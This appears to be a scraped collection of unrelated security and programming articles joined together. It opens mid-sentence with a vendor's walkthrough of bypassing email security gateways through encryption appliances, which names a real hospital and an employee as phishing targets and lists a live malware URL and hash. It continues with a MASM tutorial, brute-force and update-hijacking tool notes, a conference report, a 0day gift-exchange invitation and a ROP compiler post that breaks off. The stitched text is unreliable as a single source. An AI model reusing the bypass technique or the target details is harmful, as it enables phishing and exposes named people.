and sent a message with a malicious payload. We disguised our email to look
like it came from DocuSign and instructed the target to click “Review
Document.” The hyperlink in this email pointed to a site that was actively
distributing malware. \(image-7\) The name and SHA256 hash of the malware
binary along with VirusTotal’s analysis of both the URL and binary are listed
below. As expected, the target’s Email Security solution identified the
malicious payload \(URL\) and rejected the message. \(image-10\)

571 Delivery not authorized, message refused

**URL:**
hxxp://LASVEGASTRADESHOWMARKETING.COM/file.php?document=MzM2MGFteUBrb250cm9sZnJlZWsuY29tMjEzNQ==  
VirusTotal’s URL Analysis

**Binary:** Legal\_acknowledgement\_for\_amy.doc  
**SHA256:** 39cb85066f09ece243c60fd192877ef6fa1162ff0b83ac8bec16e6df495ee7af  
VirusTotal’s Binary Analysis

<img src='img/Temp2_7660.gif' width='550' height='647' alt='Malicious Email--
Split Tunnel SMTP Exploit' />

     Malicious Email \(image-7\) 
  

<img src='img/Temp2_7654.gif' width='1024' height='596' alt='VirusTotal URL
Analysis--Split Tunnel SMTP Exploit' />

     VirusTotal URL Analysis 
<img src='img/Temp2_7672.gif' width='1024' height='678' alt='VirusTotal Binary
Analysis--Split Tunnel SMTP Exploit' />

     VirusTotal Binary Analysis 
  

<img src='img/Temp2_7673.gif' width='1024' height='320' alt='Malicious Email
Rejected--Split Tunnel SMTP Exploit' />

     Malicious Email Rejected \(image-10\) 
  

### Step 5: Execute Split Tunnel SMTP Exploit

After confirming the target’s Email Security Gateway was properly handling all
inbound email \(benign and malicious\), we tested the Split Tunnel SMTP
exploit. We resent the same message used in the previous step, with the same
malicious payload. However, this time we directed the message at the target’s
Email Encryption appliance instead of their Email Security Gateway. **The
target’s Email Encryption appliance accepted the malicious email.**
\(image-11\)

**250 2.0.0 Ok: queued as 3BE32281A62**

Earlier, we demonstrated that when an email makes it through to the target’s
Exchange Server it will either \(a\) be delivered to the user’s inbox or \(b\)
bounced as “undeliverable” if the mailbox does not exist. As you can see in
the image below we received an NDR from Exchange confirming our email made it
all the way through and our attack was successful. Further, the missing
“X-WatchGuard” headers in the NDR indicates that our malicious email
completely bypassed the target’s Email Security Gateway. \(image-12\) This
attack demonstrates how an attacker can use Split Tunnel SMTP to exploit the
vulnerability in Email Encryption appliances.

<img src='img/Temp2_7668.gif' width='1024' height='415' alt='Malicious Email
Delivered--Split Tunnel SMTP Exploit' />

     Malicious Email Delivered \(image-11\) 
  

<img src='img/Temp2_7659.gif' width='1024' height='687' alt='Malicious Email
Delivery Headers--Split Tunnel SMTP Exploit' />

     Malicious Email Delivery Headers \(image-12\) 
  

## Attack \#2: Exploit Successful

### Microsoft Office 365 + Hosted Email Encryption

This second attack was designed for a target using Microsoft Office 365.
Unlike the 1st target, this one deployed Office 365 behind their Email
Encryption appliance hoping to use Microsoft’s Exchange Online Protection
\(EOP\) to protect against malicious emails that come in through alternate
paths such as the Encryption appliance. Unfortunately, as this attack
demonstrates, this architecture is still vulnerable to the Split Tunnel SMTP
exploit.

### Step 1: Select Target

Christiana Care Health System  
Wilmington, DE  
11,500 Employees

###

### Step 2: Reconnaissance

After selecting our target we again used an automated reconnaissance script to
collect public information about the target’s email infrastructure. The script
first identified the target’s MX record. We narrowed the search to Office 365
customers by filtering on records with \*.mail.eo.outlook.com. \(image-13\)
Next, a brute force dictionary attack was again employed to find the target’s
Email Encryption appliance. To locate hosted appliances we filtered on records
where encryption MX record \!= target’s domain. \(image-14\) And again, we
used the Securolytics Exploitable IoT Scanner to test if port 25 was open on
the MTAs we uncovered. \(image-15\)

<img src='img/split-tunnel-smtp-attack2-image-karen-kedda.png' width='392'
height='208' alt='Karen Kedda' />Finally, as a reminder of how easy it is to
find a valid mailbox we ran a WHOIS query on the target’s public domain. We
uncovered a mailbox for Karen Kedda, kkedda-at-christianacare-dot-org.
\(image-16\) We wanted to learn a little more about Karen so a quick search on
Google returned Karen’s LinkedIn profile which confirmed she works as a
Systems Analyst at Christiana Care Health System.

<img src='img/Temp2_7663.gif' width='1024' height='274' alt='Target's MX
record--Split Tunnel SMTP Exploit' />

     Target’s MX record \(image-13\) 
  

<img src='img/Temp2_7655.gif' width='1024' height='286' alt='Target's hosted
Email Encryption appliances--Split Tunnel SMTP Exploit' />

     Target’s hosted Email Encryption appliances \(image-14\) 
  

<img src='img/Temp2_7661.gif' width='1024' height='208' alt='Port Scan Results
--Split Tunnel SMTP Exploit' />

     Port Scan Results \(image-15\) 
  

<img src='img/Temp2_7674.gif' width='1024' height='279' alt='WHOIS Result--
Split Tunnel SMTP Exploit' />

     WHOIS Result \(image-16\) 
  

### Step 3: Test Email Delivery

We sent a basic email with a benign payload. This allowed us to learn how the
target had configured Office 365 to handle email. As you can see, the target’s
Office 365 instance accepted our test message. \(image-17\) Because we
intentionally sent the message to an invalid mailbox, Office 365 bounced our
message as “undeliverable.” You can see the NDR clearly shows Office 365 EOP
used our sending IP address \(80.82.x.x\) to perform its inbound threat
analysis and anti-spam.

From: lzgr-at-maildx.com  
To: test-mailbox-123-at-christianacare.org  
Subject: Hello World  
Message: Hello  
Server: christianacare-org.mail.eo.outlook.com

250 2.6.0 Queued mail for delivery

<img src='img/Temp2_7653.gif' width='1024' height='356' alt='Non-Malicious
Email--Split Tunnel SMTP Exploit' />

     Non-Malicious Email \(image-17\) 
  

<img src='img/Temp2_7657.gif' width='1024' height='885' alt='Office 365 NDR--
Split Tunnel SMTP Exploit' />

     Office 365 NDR \(image-18\) 
  

### Step 4: Test Malicious Email Delivery

At this point in the attack we needed to confirm Office 365 Exchange Online
Protection \(EOP\) would actually block our malicious email. We sent a message
with a malicious payload similar to one used in our previous attack, with a
few minor changes: \(image-19\)

1\. Replaced the Docusign branding with generic branding.  
2\. Replaced the malicious hyperlink with a URL shortener redirecting to the
malicious site.  
3\. Changed the sending IP to one blacklisted by EOP.

Again, the name and SHA256 hash of the malware binary along with VirusTotal’s
analysis of both the URL and binary are listed below. As expected, the
target’s email security, EOP, identified and rejected the malicious email.
This time because our sending IP was already blacklisted. \(image-22\)

550 5.7.606 Access denied, banned sending IP \[185.62.190.188\]

**New Hyperlink:** hxxp://tinyurl.com/m7s5oer  
**New Sending IP:** 185.62.190.188

**URL:**
hxxp://LASVEGASTRADESHOWMARKETING.COM/file.php?document=MzM2MGFteUBrb250cm9sZnJlZWsuY29tMjEzNQ==  
VirusTotal’s URL Analysis

**Binary:** Legal\_acknowledgement\_for\_amy.doc  
**SHA256:** 39cb85066f09ece243c60fd192877ef6fa1162ff0b83ac8bec16e6df495ee7af  
VirusTotal’s Binary Analysis

<img src='img/Temp2_7666.gif' width='1024' height='314' alt='Malicious Email--
Split Tunnel SMTP Exploit' />

     Malicious Email \(image-19\) 
  

<img src='img/Temp2_7654.gif' width='1024' height='596' alt='VirusTotal URL
Analysis--Split Tunnel SMTP Exploit' />

     VirusTotal URL Analysis 
<img src='img/Temp2_7672.gif' width='1024' height='678' alt='VirusTotal Binary
Analysis--Split Tunnel SMTP Exploit' />

     VirusTotal Binary Analysis 
  

<img src='img/Temp2_7662.gif' width='1024' height='364' alt='Malicious Email
Rejected--Split Tunnel SMTP Exploit' />

     Malicious Email Rejected \(image-22\) 
  

### Step 5: Execute Split Tunnel SMTP Exploit

After confirming the target’s Office 365 Exchange Online Protection was
properly handling all inbound email \(benign and malicious\), we tested the
Split Tunnel SMTP exploit. We resent the same message used in the previous
step, with the same malicious payload, from the same IP address. However, this
time we directed the message at the target’s hosted Email Encryption appliance
instead of EOP. **The target’s hosted Email Encryption appliance accepted the
malicious email.** \(image-23\)

**250 2.0.0 Ok: queued as F2AF7E082B**

<img src='img/Temp2_7670.gif' width='1024' height='433' alt='Malicious Email
Delivered--Split Tunnel SMTP Exploit' />

     Malicious Email Delivered \(image-23\) 
  

Earlier, we demonstrated that when an email makes it through the target’s
Office 365 instance it will either \(a\) be delivered to the user’s inbox or
\(b\) bounced as “undeliverable” if the mailbox does not exist. As you can see
in the image below we received an NDR from Office 365 confirming our email
made it all the way through and our attack was successful. \(image-24\) The
target’s hosted Email Encryption appliance decrypted and forwarded our
malicious email to Office 365. It passed through Office 365 EOP undetected
because sending directly to the target’s encryption appliance added two
additional Received headers to our message before it was forwarded to Office
365. When EOP analyzed our email for threats it did so using the hosted Email
Encryption appliance’s IP address \(199.30.235.81\) instead of ours
\(185.62.190.188\).

This attack again demonstrates how an attacker can use Split Tunnel SMTP to
also exploit hosted Email Encryption appliances.

<img src='img/split-tunnel-smtp-attack2-image-cip.png' width='325'
height='198' alt='CIP: 199.30.235.81' />View Full Message Headers  
Try Microsoft’s Message Header Analyzer Tool

<img src='img/Temp2_7667.gif' width='1024' height='866' alt='Malicious Email
Delivery Headers--Split Tunnel SMTP Exploit' />

     Malicious Email Delivery Headers \(image-24\) 
  

# Conclusion:

Our security research continues pointing to two major trends:

1\. Cyberattacks are becoming more frequent.  
2\. Cyberattacks are becoming more sophisticated.

In a previous blog post we showed the biggest data breaches of 2016. As we
compiled this list I remember being taken back by the sheer number of attacks.
IBM’s X-Force released a new report which found more than 4-billion records
were leaked in 2016. That’s more than the combined total from the previous two
years. And Experian’s 2017 Data Breach Industry Forecast predicts cyberattacks
will continue rising in 2017, with Healthcare as the \#1 target.

In the past few months we have also witnessed cybercriminals employ new
tactics rendering traditional approaches to cybersecurity all but obsolete.

  * **Mirai Botnet:** IoT devices used in a massive DDoS attack
  * **WannaCry:** Government cyber warfare tools used to distribute Ransomware
  * **Google Phishing:** Trusted URLs used in a massive Phishing attack

<img src='img/securolytics-NIST-risk-management-framework.gif' width='350'
height='229' alt='NIST Risk Management Framework' />So how can you protect
yourself from the unknown threats of tomorrow? By taking a disciplined and
structured approach to managing information security risk.

NIST’s Risk Management Framework \(RMF\) offers such an approach built on a
core principle of **continuous monitoring**. In fact, the recently issued
Presidential Executive Order 13800 for “Strengthening the Cybersecurity of
Federal Networks and Critical Infrastructure” **mandates agencies implement
NIST’s Framework**.

_Securolytics offers cloud-based solutions that automate implementation of
NIST’s Risk Management Framework. To learn more about our solutions please
visitsecurolytics.io/enforce._

Sincerely,

Vikas Singla  
Co-Founder & COO, Securolytics

Jason Morris  
Senior Systems Engineer, Securolytics

  

# MASM Assembly in Visual Studio 2010 | Deconflations
**Created:**| _5/20/2012 4:27:26 PM_  
---|---  
**Updated:**| _5/20/2012 4:27:26 PM_  
**Author:**| __  
**Tags:**| _asm windows visualstudio masm_  
  

##  MASM Assembly in Visual Studio 2010

Recently I have been doing some WIn32 assembly language programming, extending
a simple program with some new functionality. As the program grew in length
and complexity I began to miss the syntax highlighting, project management,
and debugging abilities of Visual Studio.

Googling about suggesed that it was possible to get VS2010 to do what I wanted
but it really wasn’t so easy to get it all set up the first time around.

In order to save myself figuring this out again, and maybe help one of you
dear readers, I’m putting a step by step guide up here.

Before you start it makes a lot of sense to install support for Assembly
Language Syntax Highlighting which you can find on this CodePlex project. It’s
a simple download and run installer.

### Step 1 : Create a clean project

_File | New | Project…_
Expand the ‘ _Other Project Types_ ‘ tree, Select ‘ _Visual Studio Solutions_
‘, and create a new ‘ _Blank Solution_ ‘.

<img src='img/Temp2_4989.png' width='246' height='221' alt='Create New
Solution File' />

_File | Add | New Project…_
Expand the ‘ _Other Languages_ ‘, ‘ _Visual C++_ ‘, ‘ _General_ ‘ section and
create a new ‘ _Empty Project_ ‘

<img src='img/Temp2_4988.png' width='270' height='239' alt='Create New
Project' />

### Step 2: Acquire the MASM options.

Now right click on the Project in the Solution Explorer and select ‘ _Build
Customizations…_ ‘

<img src='img/Temp2_4990.png' width='276' height='168' alt='Menu for Build
Customisations' />

Tick the ‘ _masm_ ‘ box and say OK.

<img src='img/Temp2_4992.png' width='602' height='227' alt='Build
Customisations Dialog' />

Add a new file to the project with the .asm extension by right clicking on the Project in the Solution Explorer and selecting ‘ _Add | New Item…_ ‘ then ‘ _Text File_ ‘. Enter a filename ending with .asm \(e.g. _speedy.asm_\). Say OK.
<img src='img/Temp2_4993.png' width='281' height='202' alt='Create .asm File'
/>

Now \(and if you skipped the last steps this won’t work\) right click on the
Project and select ‘ _Properties_ ‘. You should see a dialog like this \(Note
the MASM item at the bottom of the tree\). If you don’t then something went
wrong.

<img src='img/Temp2_4995.png' width='441' height='318' alt='Masm Options
Appear' />

### Step 3: Configure the linker

There are a few critical things to set up in the Linker options in order to
get it to work:

Set the following property to Windows or Console as appropriate

_Configuration Properties > Linker > System> SubSystem_

<img src='img/Temp2_4991.png' width='439' height='312' alt='Select required
sub system' />

Set the entry point to the name of your main method \(as per the END directive
– see code\)

_Configuration Properties > Linker > Advanced > EntryPoint_

<img src='img/Temp2_4996.png' width='439' height='315' alt='Specify the entry
point' />

### Step 4: Write some code & Run it

Lets write a very simple assembly language program to test this out \(if you
want to learn about assembler you could well try Iczelions’ tutorials and the
MASM Forum.

[code]

    .586
    .model flat, stdcall    
    option casemap :none   
    
    ; To get unicode support 
    include		\masm32\macros\ucmacros.asm
     
    include		\masm32\include\windows.inc 
    include		\masm32\include\kernel32.inc 
    includelib	\masm32\lib\kernel32.lib 
     
    include		\masm32\include\user32.inc 
    includelib	\masm32\lib\user32.lib		
    
    .data
    ; WSTR gets you a unicode string definition
    WSTR wstrTitle, "Hello"
    WSTR wstrMessage, "World"
    
    .code
    
    main:
    	invoke MessageBoxW, NULL, ADDR wstrMessage, ADDR wstrTitle, MB_OK
    
    	invoke ExitProcess, eax
    end main
[/code]

NOTE: Possibly the most important thing to note here is the ‘end main’
directive. This directive must be present and the name must match the label
where you expect execution to kick off and the ‘EntryPoint’ we defined in step
3. Otherwise things simply won’t work.

Hit Ctrl + Shift + B to build \(or use the menus etc\) and it should build and
run showing a simple windows message box.

Boring but proves it’s working.

### Step 5: Set break points and debug it <img src='img/Temp2_4994.png'
alt=':)' />

The really cool thing is that now you can set break points and step through
your code much as you are used to doing with C++ or C\# <img
src='img/Temp2_4997.png' alt=':grin:' />

### Side Note: File extensions

A small problem that you might run into is that if you move any macro
definitions into their own file you need to be absolutely sure NOT to call the
file .asm. If you do the linker will get horribly confused and go on and on
and on about not being able to find the EntryPoint. I lost hours trying to
figure that one out\! Call it something .inc instead and all will be good.

The other thing is that Visual Studio seems to create a larger executable
\(even in release mode\) than using masm on the command line. It seems to be
something to do with the way it interprets the WSTR macro but I’m not 100%
certain. Still if it becomes a huge issue I can always compile on the command
line just before release and I get to enjoy nice debugging in the meantime.

So, there you have it. VS2010 compiling Win32 Assembler by way of the included
MASM compiler.

# Bruter v1.0 Final Released – Parallel Network Login Brute Forcing Tool | Darknet - The Darkside
**Created:**| _5/29/2010 11:18:11 AM_  
---|---  
**Updated:**| _5/29/2010 11:18:11 AM_  
**Author:**| _wishi_  
**Tags:**| _security tools policies_  
  

## Bruter v1.0 Final Released – Parallel Network Login Brute Forcing Tool

We wrote about Bruter v1.0 ALPHA version back in 2008, recently they announced
the release of v1.0 Final\!

Bruter is a parallel network login brute-forcer on Win32. This tool is
intended to demonstrate the importance of choosing strong passwords. The goal
of Bruter is to support a variety of services that allow remote
authentication.

It currently supports following services:

  * FTP
  * HTTP \(Basic\)
  * HTTP \(Form\)
  * IMAP
  * MSSQL
  * MySQL
  * POP3
  * SMB-NT
  * SMTP
  * SNMP
  * SSH2
  * Telnet
  * VNC

**Recent Changes**

  * Re-licensed to new-BSD license
  * Added proxy support \(CONNECT, SOCKS4, SOCKS5\)
  * Allowed more delimiter in combo file
  * Added password length filtered in combo and dictionary mode
  * Fixed miscellaneous bugs
  * Updated openssl library to 0.9.8n

You can download Bruter v1.0 Final here:

# Episode119 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:48:38 PM_  
---|---  
**Updated:**| _8/5/2009 12:48:59 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools pauldotcom Live Distri web network-
security_  
  

# Mini-tech Segment - SamuraiWTF

Kevin Johnson has done an awesome service to the community here. SamuraiWTF,
as we've talked about briefly is a live CD full of Web app testing tools.
Right now it is development "alpha', so there are still a few issues that are
being resolved. They've even gone far enough to configure Wine to include some
of the windows tools.

Note on logging in: \(which will be better documented\) The user to login as
is "samurai" with the password of "samurai"

Some of the tools that we've talked about on the show in the past are included
on the CD - HTTPrint, Nikto, Paros Proxy, the Burp Suite, Maltego CE and
Gooscan.

I was real happy to see Grendel included as well, which was released right
about DEFCON time. Grendel is pretty easy to use, and even provides a local
proxy for additional manual testing, a la burp and Paros.

DirBuster \(from OWASP\) will brute force directories on a webserver to see if
they exist. It likes a file to pre-populate \(aka a "rainbow table"\), but I
wasn't able to locate a list on the CD in a few seconds, so I elected to do a
brute force.

<img src='img/Temp2_2739.jpg' width='770' height='535'
alt='Image:Dirbuster_main.jpg' />

It found some stuff right off on the site I tested \(with permission\),
however with the default thread count, it would take 62254470 Days to
complete\! As you can see from the screen shots, I have at least one directory
to follow up on.

<img src='img/Temp2_2740.jpg' width='771' height='536'
alt='Image:Dirbuster_scan.png' />

I was hoping for some good bookmarks in the browser. I was happy to find the
local install of BeEF, Ajax Shell, PHP Shell, and the local wiki - great for
documenting your findings\!

Of course, they also included w3af- the Web application Attack and Audit
Framework, including the nice gui. w3af is similar in concept to Nessus, in
that you define a host, and pick tests to run against it. It also adds the
features of Metasploit, in that it can exploit its findings and deploy
connection methods.

I must say the guys have done a fantastic job at the "first pass" development
release to include some awesome, helpful tools all in one place. You can be
sure that I'll be keeping this one around\!

Kevin is always looking for feedback, tool suggestions and feature requests,
so feel free to download, USE it, and offer kevin some feedback. His contact
info can be found at the project site samurai.intelguardians.com

# Tech Segment: Software Update Security with Derek Callaway

## Intro

Typical advice for keeping a system secure includes keeping your software up-
to-date; however, updating software actually has the potential to make your
system less secure. Derek has published a number of advisories through his
company \(Security Objectives\) pertaining to software update vulnerabilities
of various vendors including Lenovo, PartyGaming, and Cygwin.

evilgrade is a tool for exploiting software update vulnerabilities that was
first presented \(but not released\) at EkoParty 2007, an Argentinian security
conference. evilgrade was released by Francisco Amato of InfoByte Security
Research in late July, 2008. This event seems to have officially brought
software update security to the attention of the vulnerability research
community. evilgrade is particularly useful with when used in conjuction with
KARMetaSploit and/or Dan Kaminsky's DNS Cache Poisoning attack although other
Man-in-the-Middle techniques such as ARP redirection are sufficient. There is
talk of integrating evilgrade into the Metasploit project. ISR-evilgrade is
currently at version 1.0. Currently it has exploit modules for: Java, WinZip,
Winzmp, MacOS, OpenOffice, iTunes, LinkedIn Toolbar, DAP \(Download
Accelerator\), Notepad++, and Speedbit. Look for a new version of evilgrade
with more exploit modules in the not too distant future.

## History

Before updates were delivered over the network, they were usually delivered on
tape by private courier. At one of the HOPE conference's social engineering
panels, Kevin Mitnick spoke about an analog man-in-the-middle attack where he
dressed up as a UPS delivery guy and delivered a trojanned tape himself. In
1983, Digital Equipment Corporation \(DEC\) created the first remote delivery
of software updates at their Colorado Springs facility for their OpenVMS
operating system. Once the Internet became ubiquitous software starting
allowing the user to update their software over the Internet.

## Attacks

Different types of software updating:

Automatic \(software automatically downloaded and installed\) Semi-Automatic
\(software notifies user update is available, but must take action to
intsall\) Manual \(user must take action to determine if an update is
available\)

Clearly, the fully automatic type is impacted the most when it comes to
updater vulnerabilities. Most updaters use HTTP\(S\) so it's just a matter of
creating a web server that looks like the real update server but pushes out
trojans with the updates. Some updaters will download the patch from within
the program, others will open up a browser window with a URL to the vendor's
site which usually isn't HTTP\(S\).

Just because SSL is in use, doesn't mean the updater is secure. The update
client must properly verify the server's certificate. An example of improper
certificate verification in a software Updater is the Lenovo advisory Derek
published \(CVE-2008-3249.\)

Creating digital signatures for packages does not always prevent attacks
either, especially if the integrity of the update server itself is not
validated. An old package's hash is valid because it was signed with the real
vendor's key. A rogue update server could cause a downgrade to an old
vulnerable version and then exploit it.

These attacks can also affect entire operating systems. Take for example Linux
distributions that have mirrored servers for their package systems. On August
14, the Fedora project leader told users to not update their software as a
precaution because of a mysterious Fedora Project server outage.

## Prevention

Cryptographically verify the update server with PKI \(Public Key
Infrastructure.\)

## References

 _"Derek Callaway is a security consultant with Security Objectives
Corporation. His company is currently developing a dynamic binary analysis
debugger. More information and demos are available atsecurity-
objectives.com."_

  * Security Objectives Advisories - http://www.security-objectives.com/advisories.html

  * Updating the Updater: System of Systems \(Security Objectives' Blog\) - http://systemofsystems.wordpress.com/2008/05/25/updating-the-updater/

  * ISR-evilgrade, InfoByte Security Research - http://www.infobyte.com.ar/developments.html

  * Karmetasploit - http://www.metasploit.com/dev/trac/wiki/Karmetasploit

  * Thinkvantage SystemUpdate Missing SSL Certificate Chain Verification - http://secunia.com/advisories/30379

  * Mystery Fedora Disruption Prompts Security Fears - http://www.theregister.co.uk/2008/08/19/fedora\_outage/

# RSA Conference 2013: Experts Say It's Time to Prepare for a 'Post-Crypto' World | threatpost
**Created:**| _2/28/2013 9:25:02 AM_  
---|---  
**Updated:**| _2/28/2013 9:25:02 AM_  
**Author:**| __  
**Tags:**| _crypto History_  
  

# RSA Conference 2013: Experts Say It's Time to Prepare for a 'Post-Crypto'
World****

SAN FRANCISCO--In the current climate of continuous attacks and intrusions by
APT crews, government-sponsored groups and others organizations, cryptography
is becoming less and less important and defenders need to start thinking about
new ways to protect data on systems that they assume are compromised, one of
the fathers of public-key cryptography said Tuesday**.** Adi Shamir, who
helped design the original RSA algorithm, said that security experts should be
preparing for a "post-cryptography" world**.**

"I definitely believe that cryptography is becoming less important**.** In
effect, even the most secure computer systems in the most isolated locations
have been penetrated over the last couple of years by a series of APTs and
other advanced attacks," Shamir, of the Weizmann Institute of Science in
Israel, said during the Cryptographers' Panel session at the RSA Conference
here today**.**

"We should rethink how we protect ourselves**.** Traditionally we have thought
about two lines of defense**.** The first was to prevent the insertion of the
APT with antivirus and other defenses**.** The second was to detect the
activity of the APT once it's there**.** But recent history has shown us that
the APT can survive both of these defenses and operate for several years**.**
"

<img src='img/Temp2_6716.jpg' />

Shamir, who shared the panel with Ron Rivest of MIT, Dan Boneh of Stanford
University, Whitfield Diffie of ICANN and Ari Juels of RSA Labs, said that the
continued assaults on corporate and government networks by sophisticated
attackers in recent years has become the most important development in the
security world**.** The time, he said, has come for security researchers and
others involved in defending networks to look for methods other than
cryptography that are capable of securing their sensitive data**.**

"It's very hard to use cryptography effectively if you assume an APT is
watching everything on a system," Shamir said**.** "We need to think about
security in a post-cryptography world**.** "

One way to help shore up defenses would be to improve--or replace--the
existing certificate authority infrastructure, the panelists said**.** The
recent spate of attacks on CAs such as Comodo , DigiNotar  and others has
shown the inherent weaknesses in that system and there needs to be some
serious work done on what can be done to fix it, they said**.**

"We need a PKI where people can specify who they want to trust, and we don't
have that," said Rivest, another of the co-authors of the RSA algorithm**.**
"We really need a PKI that not only is flexible in the sense that the relying
party specifies what they trust but also in the sense of being able to
tolerate failures, or perhaps government-mandated failures**.** We still have
a very fragile and pollyanna-ish approach to PKI**.** We need to have a more
robust outlook on that**.** "

Shamir pointed to the incident recently in which TurkTrust , a Turkish CA, was
found to have issued subordinate certificates for Google domains to two
separate parties, one of which was a Turkish government contractor**.** He
said he wouldn't be surprised to see other such incidents crop up**.**

"I think you will see more and more events like this, where a CA under
pressure from a government will behave in strange ways," he said**.** "It
brings into question whether the basis of security, the PKI infrastructure, is
under severe strain**.** "

Commenting on this Article will be automatically closed on May 26, 2013**.**

****

# QuizoApps: QTTabBar

**Created:**| _1/12/2010 9:52:24 AM_  
---|---  
**Updated:**| _1/12/2010 9:52:33 AM_  
**Author:**| __  
**Tags:**| _windows windows environment_  
  

QTTabBar

<img src='img/Temp2_6629.png' alt='QTTabBar' />

  * Download \( 1.2.2.1\)
    * PlugIns
    * Language files
    * Skins

  * Change Log
  * Screen shots
  * Documents
    * FAQ

  * Forum
    * Recent posts

#### System Requirements

Windows Vista  
Windows XP + .Net Framework 2.0 or later  
\( Tested on 32bit \)

#### Features

QTTabBar is an Add-In that gives Tab Browsing Feature to your Explorer.  
Folder grouping, histories, etc.

# http://pastebin.com/raw.php?i=uTiAK34P

**Created:**| _9/27/2013 11:10:35 AM_  
---|---  
**Updated:**| _9/27/2013 11:10:35 AM_  
**Author:**| __  
**Tags:**| _Exploit poc_  
  

[code]

    =----------------------------------------------------------------------------=
    =--   LOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL  --=
    =-----                                                                  -----= 
    =-------                         GREETINGS**!**                           -------=  
    =------                YOU ARE FORMALLY INVITED TO:                    ------=
    =--- -                                                                  - ---=  
    =---                    _**.** -- ,**.** --.                                        ---=
    =---                  **.** '   .'    /                                        ---=
    =---                  | @       |'..--------**.** _                            ---=
    =---                 /      \**.** _/              '**.**                          ---=
    =---                /  **.** -**.** -                     \                         ---=
    =---               (  /    \         0DAY        \                        ---= 
    =---                \\      '**.**                  | #                       ---=
    =---                 \\       \   -**.**           /                          ---=
    =---                  :\       |    )**.** _____**.** '   \                         ---=
    =---                   "       |   /  \  |  \    )                        ---=
    =---                     snd   |   |**.** /'  :__ \**.** -'                         ---=
    =---                           '--'                                       ---=
    =---                                                                      ---=
    =-----       3RD (ALMOST) ANNUAL WHITE ELEPHANT 0DAY GIFT EXCHANGE      -----=
    =------               WHEN:  6PM, FRIDAY AUGUST 2ND, 2013              ------=
    =------                 WHERE: POOLSIDE AT DEFCON (RIO)                ------=
    =-----                                                                  -----=  
    =--   LOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL  --=
    =----------------------------------------------------------------------------=
    
      ====================
      =-   What is it**?**  -=
      ====================
      A white elephant gift exchange ceremony for 0day.. some background:
    
      "A white elephant is an idiom for a valuable but burdensome possession of
      which its owner cannot dispose and whose cost (particularly cost of upkeep)
      is out of the proportion to its usefulness or worth"
    
        Read More:
        http://en.wikipedia.org/wiki/White_elephant_gift_exchange
        http://en.wikipedia.org/wiki/White_elephant
    
      Everyone has found white-elephants while bug hunting**.** These are bugs that 
      are laughable due to their insignificance or unexploitability**.** Now you get 
      to swap them for other, better (shittier) 0day at an informal meet-up by 
      the pool at DEFCON**.** Woooow!
    
      For this event, a white-elephant 0day is defined as:
      ----------------------------------------------------
      A zero-day vulnerability (and accompanying exploit) with one or more of the
      following qualities:
    
        - the privilege/access gained from exploitation is lower than or same as
          the level(s) of privilege/access required for exploitation itself**.**
    
        - the deployment conditions for the vulnerability to be usable are 
          impractical, unreasonable, or very rare in real-world scenarios
    
        - the affected software is hilariously worthless
    
        - the bug/exploit holds little or no value for an actual attack
    
      --------------------------------------------------------
      NOTE: The bug must be real and not purely theoretical**!** 
      --------------------------------------------------------
    
      Here are some examples from previous years exchanges:
      --------------------------------------------------------
        - GPS device memory corruption, triggered by manually walking the 
          device around in specific patterns to reach affected code path (LOL**!**)
    
        - OS/2 Telnet.d local-only stack-based buffer overflow (90s gold**!**)
    
        - Vulnerability with privilege-plummet (de-escalation) in local
          listening service
    
      ==========================
      =-   How Does it Work**?**  -=
      ==========================
      All participants show up at the date and time of the event with a print
      out (hard-copy) of their vulnerability's description of details and the
      proof-of-concept code**.** Each printout should also have a large-font title
      giving a vague description of the target software, bug class, and spoils
      gained from successful exploitation**.** The title should just be enough to 
      give an idea of how hilarious the white elephant is, DO NOT GIVE ENOUGH
      DETAIL TO EXPOSE THE BUG IN THE TITLE**.** The rest of the printout must 
      contain enough information for triggering the bug**.** 
    
      At the event, each printout is placed into an envelope and sealed shut and
      placed in a pile on the floor or somewhere**.** Each participant then draws a 
      number from a SUPER_SECURE_RANDOMIZED lottery hat**.** Whoever draws 1 gets to 
      pick first from the envelope pile**.** The first participant opens the envelope 
      they selected and reads the title of the white-elephant 0day to the group**.** 
      For each following turn, the participant with the next highest number has 
      two options:
    
            #1 Steal the 0day someone else has already opened and announced
                    === OR ===
            #2 Pick an unopened envelope, open and announce it
     
      In the case that a participant chooses to steal an already opened 0day 
      rather than pick an unopened envelope, the victim of the theft gets the 
      same options: steal someone else's prize or pick an envelope**.** 
      
      No steal backs allowed. Bartering is encouraged**.** Have fun!
    
    =----------------------------------------------------------------------------=
    =-=[     For any questions: drraid [at] gmail, or @drraid on twitter      ]=-=
    =----------------------------------------------------------------------------=
    =--- LOLLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL ---=
    =----------------------------------------------------------------------------=
    
    EOM
[/code]

****

# ROPC — Turing complete ROP compiler \(part 2, language\) | GDTR
**Created:**| _1/16/2014 3:28:44 PM_  
---|---  
**Updated:**| _1/16/2014 3:28:44 PM_  
**Author:**| __  
**Tags:**| _compiler-building rop_  
  

# **R** OPC — Turing complete ROP compiler \(part 2, language****\)

<img src='img/Temp2_6695.jpg' />

This is the second post in a series \(first post here \) describing ROPC **.**
Programs accepted by the compiler are written in ROPL \(**R** eturn **O**
riented **P** rogramming **L** anguage\)**.** ROP programs are usually used as
stage 0 payloads. They compute addresses, change memory protections, call few
OS APIs**.** For this reason, language expressing them doesn’t have to be
complex**.**

Grammar for QooL \(language accepted by the Q compiler \[0\]\) is shown
below**.**

[code]

    (exp) ::= 
     LoadMem (exp) (type)
     | BinOp (op) (exp) (exp)
     | Const (value) (type)
    (stmt) ::=
     StoreMem (exp) (exp) (type)
     | Assign (var) (exp)
     | CallExternal (func) (exp list)
     | Syscall
[/code]

QooL is simple but sufficient for stage 0 functionality**.** ROPC has to
support conditional jumps and local function invocations, so it’s more
complex**.**

Sample program in ROPL computing first few elements of the Fibonacci sequence:

[code]

    fun fib(n, out){
        x = 0
        y = 0
    
        cmp n, 0
        je copy
        cmp n, 1
        je copy
    
        fib(n-1, @x)
        fib(n-2, @y)
    
        [out] = x+y
        jmp exit
    copy:
        [out] = n
    exit:
    }
    
    fun main(){
        fmt = "%d\n"
        i = 0
        x = 0
    print:
        fib(i, @x)
